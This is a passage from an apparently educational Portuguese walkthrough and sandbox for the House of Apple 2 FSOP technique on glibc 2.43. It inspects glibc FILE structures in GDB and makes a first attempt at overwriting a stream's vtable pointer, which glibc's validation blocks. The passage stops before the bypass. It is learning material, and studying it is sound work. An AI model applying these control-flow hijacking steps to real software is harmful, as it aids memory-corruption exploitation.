
Passo a passo interativo do GDB para a técnica FSOP House of Apple 2 no glibc 2.43, com um sandbox reproduzível cobrindo bypass de vtable, stack pivoting e ROP.
Este repositório é um playground autocontido inspirado no módulo de Exploração de Estruturas de Arquivo do pwn.college. Ele não introduz uma nova variação da House of Apple 2, apenas responde à minha curiosidade sobre como a técnica se comporta em versões recentes da glibc e se ela continua sendo um caminho de exploração viável. O documento fornece um passo a passo interativo no GDB que os leitores podem acompanhar junto com o sandbox para desenvolver uma compreensão mais intuitiva da primitiva. Todos os experimentos usam glibc 2.43, conforme empacotada pelo Ubuntu 26.04 e Fedora 44 no momento da escrita.
File Stream Oriented Programming (FSOP). Trata-se de manipular estruturas de stream de arquivo da glibc para sequestrar o fluxo de controle. Uma forma de fazer isso é corromper o mecanismo de despacho da vtable de _IO_FILE_plus. A glibc moderna valida essa vtable, então a abordagem óbvia de substituí-la por um endereço arbitrário não funciona.
House of Apple 2, originalmente introduzida por Roderick, contorna essa restrição usando uma vtable válida de _IO_FILE_plus para alcançar a maquinaria de streams de caracteres largos, onde uma vtable secundária é despachada diretamente sem validação de intervalo. Isso fornece uma primitiva de chamada arbitrária que podemos escalar para um stack pivot e uma cadeia ROP.
Esta exploração assume que podemos sobrescrever uma estrutura FILE e que temos tanto um heap leak quanto um libc leak. O binário alvo já fornece isso.
O sandbox roda Ubuntu 26.04 LTS, nos dando um ambiente moderno para explorar a técnica.
A imagem inclui GDB, pwndbg, pwntools, ropper e tmux. Ela também contém um binário alvo com um menu interativo para invocar operações de stream de arquivo como fopen, fread, fwrite e fclose. Isso nos dá uma maneira conveniente de manipular streams durante a depuração e teste de ideias.
Compile e execute o sandbox com:``` ./build.sh ./run.sh
## Exploração
Vamos começar inspecionando as estruturas `_IO_FILE` e `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
Em termos práticos, _IO_FILE_plus é um _IO_FILE com um ponteiro de vtable. Isso imediatamente parece interessante: se conseguirmos controlar esse ponteiro, podemos ser capazes de redirecionar uma chamada indireta e sequestrar o fluxo de controle.
Para inspecionar a vtable, vamos examinar um ponteiro FILE retornado por fopen.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
O ponteiro aponta para a tabela `_IO_file_jumps`.

Este é um conjunto de 21 ponteiros de função. As operações de fluxo de arquivo são despachadas através de diferentes entradas dependendo do caminho de execução.
### Seguindo o caminho do `fwrite`
Para esta exploração, vou focar no caminho do `fwrite`. Depois de colocar breakpoints em cada função e chamar `fwrite`, o primeiro breakpoint que atingimos é `_IO_file_xsputn`.

A chamada ocorre em `fwrite+216`. Isto corresponde ao [código-fonte da glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` é uma macro que despacha através da vtable, resolvendo para `_IO_file_xsputn` para este fluxo.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
Como primeira tentativa, vamos sobrescrever o ponteiro da vtable com desired_func - 0x38 e definir um breakpoint em fwrite+216.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

A execução é abortada antes de atingir o breakpoint. O erro sugere que a glibc valida o ponteiro da vtable antes de realizar a chamada indireta. Vamos inspecionar o backtrace e ver onde isso acontece.
`fwrite` atinge `_IO_vtable_check`, que está rejeitando o ponteiro de vtable forjado.

A implementação contém um mecanismo para aceitar vtables externas, mas não está sob nosso controle. O código relevante está disponível em [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).
### Entendendo a validação da vtable